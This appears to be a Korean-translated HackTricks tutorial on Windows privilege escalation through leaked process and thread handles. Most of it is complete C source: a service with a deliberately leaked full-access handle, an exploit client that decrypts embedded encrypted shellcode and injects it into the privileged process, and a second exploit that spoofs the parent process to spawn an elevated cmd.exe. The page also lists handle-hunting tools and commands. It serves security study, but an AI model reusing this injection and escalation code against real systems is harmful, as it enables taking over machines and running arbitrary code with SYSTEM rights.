27 KiB
누출된 핸들 악용
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 PDF로 HackTricks 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- The PEASS Family를 발견하세요. 독점적인 NFT 컬렉션입니다.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm를 팔로우하세요.
- HackTricks와 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
소개
프로세스의 핸들은 다양한 Windows 리소스에 액세스할 수 있게 해줍니다:
이미 권한 상승 사례에서는 열린 상태로 상속 가능한 핸들을 가진 권한이 있는 프로세스가 권한이 없는 프로세스를 실행하여 모든 핸들에 액세스할 수 있게 했습니다.
예를 들어, SYSTEM으로 실행되는 프로세스가 전체 액세스 권한으로 새 프로세스를 열고(OpenProcess()
) 또한 모든 열린 핸들을 상속하면서 낮은 권한으로 새 프로세스를 생성(CreateProcess()
)합니다.
그런 다음, 낮은 권한을 가진 프로세스에 전체 액세스 권한으로 생성된 권한 있는 프로세스의 열린 핸들을 얻어 OpenProcess()
로 쉘코드를 주입할 수 있습니다.
흥미로운 핸들
프로세스
처음 예제에서 읽었듯이 권한이 없는 프로세스가 충분한 권한을 가진 권한이 있는 프로세스의 프로세스 핸들을 상속하면 해당 프로세스에서 임의의 코드를 실행할 수 있습니다.
이 훌륭한 기사에서 다음 권한 중 하나를 가진 프로세스 핸들을 악용하는 방법을 볼 수 있습니다:
- PROCESS_ALL_ACCESS
- PROCESS_CREATE_PROCESS
- PROCESS_CREATE_THREAD
- PROCESS_DUP_HANDLE
- PROCESS_VM_WRITE
스레드
프로세스 핸들과 유사하게, 권한이 없는 프로세스가 충분한 권한을 가진 권한이 있는 프로세스의 스레드 핸들을 상속하면 해당 스레드에서 임의의 코드를 실행할 수 있습니다.
이 훌륭한 기사에서 다음 권한 중 하나를 가진 프로세스 핸들을 악용하는 방법을 볼 수도 있습니다:
- THREAD_ALL_ACCESS
- THREAD_DIRECT_IMPERSONATION
- THREAD_SET_CONTEXT
파일, 키 및 섹션 핸들
권한이 없는 프로세스가 권한 있는 파일 또는 레지스트리의 쓰기 권한과 동등한 핸들을 상속하면 파일/레지스트리를 덮어쓸 수 있으며 (그리고 많은 운이 좋다면 권한 상승할 수 있습니다).
섹션 핸들은 파일 핸들과 유사하며, 이러한 종류의 객체의 일반적인 이름은 **"파일 매핑"**입니다(https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping). 이들은 전체 파일을 메모리에 유지하지 않고 큰 파일을 처리하는 데 사용됩니다. 이로 인해 파일 핸들의 악용과 "유사한" 방식으로 악용이 가능합니다.
프로세스의 핸들 보는 방법
Process Hacker
Process Hacker는 무료로 다운로드할 수 있는 도구입니다. 프로세스를 검사하는 여러 가지 놀라운 옵션 중 하나는 각 프로세스의 핸들을 볼 수 있는 기능입니다.
모든 프로세스의 핸들을 볼려면 SeDebugPrivilege 권한이 필요하므로 Process Hacker를 관리자 권한으로 실행해야 합니다.
프로세스의 핸들을 보려면 프로세스를 마우스 오른쪽 버튼으로 클릭하고 핸들을 선택하세요:
그런 다음 핸들을 마우스 오른쪽 버튼으로 클릭하여 권한을 확인할 수 있습니다:
Sysinternals Handles
Handles는 Sysinternals의 이진 파일로 콘솔에서 각 프로세스의 핸들을 나열합니다:
LeakedHandlesFinder
이 도구를 사용하면 누출된 핸들을 모니터링하고 권한 상승을 위해 자동으로 악용할 수 있습니다.
방법론
이제 프로세스의 핸들을 찾는 방법을 알았으므로 권한이 없는 프로세스가 권한 있는 핸들에 액세스하는지 확인해야 합니다. 그렇다면 프로세스의 사용자는 핸들을 얻고 권한 상승을 악용할 수 있을 것입니다.
{% hint style="warning" %} 이전에 모든 핸들에 액세스하려면 SeDebugPrivilege가 필요하다고 언급되었습니다. 그러나 사용자는 자신의 프로세스의 핸들에 여전히 액세스할 수 있으므로 사용자의 일반 권한으로 도구를 실행하려는 경우 유용할 수 있습니다.
handle64.exe /a | findstr /r /i "process thread file key pid:"
{% endhint %}
취약한 예시
예를 들어, 다음 코드는 취약할 수 있는 Windows 서비스에 속합니다. 이 서비스 이진 파일의 취약한 코드는 Exploit
함수 내에 있습니다. 이 함수는 전체 액세스 권한을 가진 새로운 핸들 프로세스를 생성합니다. 그런 다음, _explorer.exe_의 낮은 권한 토큰을 복사하여 _C:\users\username\desktop\client.exe_를 실행하는 낮은 권한 프로세스를 생성합니다. 취약점은 bInheritHandles
를 TRUE
로 설정하여 낮은 권한 프로세스를 생성하는 것에 있습니다.
따라서, 이 낮은 권한 프로세스는 먼저 생성된 고 권한 프로세스의 핸들을 획득하고, 쉘코드를 주입하고 실행할 수 있습니다 (다음 섹션 참조).
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")
TCHAR* serviceName = TEXT("HandleLeakSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;
//Find PID of a proces from its name
int FindTarget(const char *procname) {
HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}
while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}
CloseHandle(hProcSnap);
return pid;
}
int Exploit(void) {
STARTUPINFOA si;
PROCESS_INFORMATION pi;
int pid = 0;
HANDLE hUserToken;
HANDLE hUserProc;
HANDLE hProc;
// open a handle to itself (privileged process) - this gets leaked!
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());
// get PID of user low privileged process
if ( pid = FindTarget("explorer.exe") )
hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
else
return -1;
// extract low privilege token from a user's process
if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
CloseHandle(hUserProc);
return -1;
}
// spawn a child process with low privs and leaked handle
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
CloseHandle(hProc);
CloseHandle(hUserProc);
return 0;
}
void WINAPI ServiceControlHandler( DWORD controlCode ) {
switch ( controlCode ) {
case SERVICE_CONTROL_SHUTDOWN:
case SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
SetEvent( stopServiceEvent );
return;
case SERVICE_CONTROL_PAUSE:
break;
case SERVICE_CONTROL_CONTINUE:
break;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
// initialise service status
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwControlsAccepted = 0;
serviceStatus.dwWin32ExitCode = NO_ERROR;
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
if ( serviceStatusHandle ) {
// service is starting
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
// do initialisation here
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
// running
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
Exploit();
WaitForSingleObject( stopServiceEvent, -1 );
// service was stopped
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
// do cleanup here
CloseHandle( stopServiceEvent );
stopServiceEvent = 0;
// service is now stopped
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
}
void InstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
if ( serviceControlManager ) {
TCHAR path[ _MAX_PATH + 1 ];
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
SC_HANDLE service = CreateService( serviceControlManager,
serviceName, serviceName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
0, 0, 0, 0, 0 );
if ( service )
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}
void UninstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
if ( serviceControlManager ) {
SC_HANDLE service = OpenService( serviceControlManager,
serviceName, SERVICE_QUERY_STATUS | DELETE );
if ( service ) {
SERVICE_STATUS serviceStatus;
if ( QueryServiceStatus( service, &serviceStatus ) ) {
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
DeleteService( service );
}
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}
int _tmain( int argc, TCHAR* argv[] )
{
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
InstallService();
}
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
UninstallService();
}
else {
SERVICE_TABLE_ENTRY serviceTable[] = {
{ serviceName, ServiceMain },
{ 0, 0 }
};
StartServiceCtrlDispatcher( serviceTable );
}
return 0;
}
Exploit Example 1
{% hint style="info" %} 실제 시나리오에서는 취약한 코드가 실행될 바이너리를 제어할 수 없을 것입니다. 아마도 프로세스를 침해하고 권한이 있는 프로세스의 취약한 핸들에 액세스할 수 있는지 확인해야 할 것입니다. {% endhint %}
이 예제에서는 _C:\users\username\desktop\client.exe_에 대한 가능한 익스플로잇 코드를 찾을 수 있습니다.
이 코드의 가장 흥미로운 부분은 GetVulnProcHandle
에 있습니다. 이 함수는 모든 핸들을 가져오기 시작한 다음, 핸들이 동일한 PID에 속하는지와 핸들이 프로세스에 속하는지 확인합니다. 이러한 요구 사항이 모두 충족되면 (접근 가능한 열린 프로세스 핸들이 발견되면), 프로세스의 핸들을 악용하여 쉘코드를 주입하고 실행하려고 시도합니다.
쉘코드의 주입은 Inject
함수 내에서 수행되며, 이는 권한이 있는 프로세스 내에 쉘코드를 작성하고 동일한 프로세스 내에서 스레드를 생성하여 쉘코드를 실행합니다.
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")
int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
return -1;
}
if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
return -1;
}
CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
return 0;
}
HANDLE GetVulnProcHandle(void) {
ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
printf("[+] Grabbing handles...");
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;
// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}
// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {
// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}
// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;
pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;
free(objectTypeInfo);
free(objectNameInfo);
}
return hProc;
}
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
BOOL bStatus = FALSE;
pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");
pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
if (bStatus != FALSE) {
WaitForSingleObject(hThread, -1);
CloseHandle(hThread);
return 0;
}
else
return -1;
}
int main(int argc, char **argv) {
int pid = 0;
HANDLE hProc = NULL;
// AES encrypted shellcode spawning notepad.exe (ExitThread)
char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
```c
unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
unsigned int payload_len = sizeof(payload);
printf("내 PID: %d\n", GetCurrentProcessId());
getchar();
// 누출된 프로세스 핸들 찾기
hProc = GetVulnProcHandle();
if (hProc != NULL) {
// 페이로드 복호화
AESDecrypt((char *)payload, payload_len, key, sizeof(key));
printf("[+] 선물을 보내는 중...");
// 특권 컨텍스트에서 페이로드 주입 및 실행
Inject(hProc, payload, payload_len);
printf("완료.\n");
}
getchar();
return 0;
}
Exploit Example 2
{% hint style="info" %} 실제 시나리오에서는 취약한 코드가 실행할 이진 파일을 직접 제어할 수 없을 것입니다. 아마도 프로세스를 침해하고 권한이 있는 프로세스의 취약한 핸들에 액세스할 수 있는지 확인해야 할 것입니다. {% endhint %}
이 예제에서는 열린 핸들을 악용하여 셸코드를 주입하고 실행하는 대신, 권한이 있는 열린 핸들 프로세스의 토큰을 사용하여 새로운 핸들을 생성합니다. 이는 138번부터 148번까지의 줄에서 수행됩니다.
함수 UpdateProcThreadAttribute
가 속성 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
와 열린 권한이 있는 프로세스의 핸들과 함께 사용되는 것에 주목하세요. 이는 _cmd.exe_를 실행하는 생성된 프로세스 스레드가 열린 핸들 프로세스와 동일한 토큰 권한을 갖게 됨을 의미합니다.
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")
HANDLE GetVulnProcHandle(void) {
ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
printf("[+] Grabbing handles...");
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;
// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}
// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {
// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}
// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;
pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;
free(objectTypeInfo);
free(objectNameInfo);
}
return hProc;
}
int main(int argc, char **argv) {
HANDLE hProc = NULL;
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
int pid = 0;
SIZE_T size;
BOOL ret;
Sleep(20000);
// find leaked process handle
hProc = GetVulnProcHandle();
if ( hProc != NULL) {
// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
// Spawn elevated cmd process
ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );
if (ret == FALSE) {
printf("[!] Error spawning new process: [%d]\n", GetLastError());
return -1;
}
}
Sleep(20000);
return 0;
}
기타 도구와 예시
이 도구를 사용하면 유출된 핸들을 모니터링하여 취약한 핸들을 찾고 자동으로 악용할 수 있습니다. 또한 하나의 핸들을 유출시키는 도구도 포함되어 있습니다.
핸들을 유출하고 악용하는 또 다른 도구입니다.
참고 자료
- http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/
- https://github.com/lab52io/LeakedHandlesFinder
- https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
- HackTricks에서 회사 광고를 보거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm를 팔로우하세요.
- HackTricks와 HackTricks Cloud github 저장소에 PR을 제출하여 여러분의 해킹 기술을 공유하세요.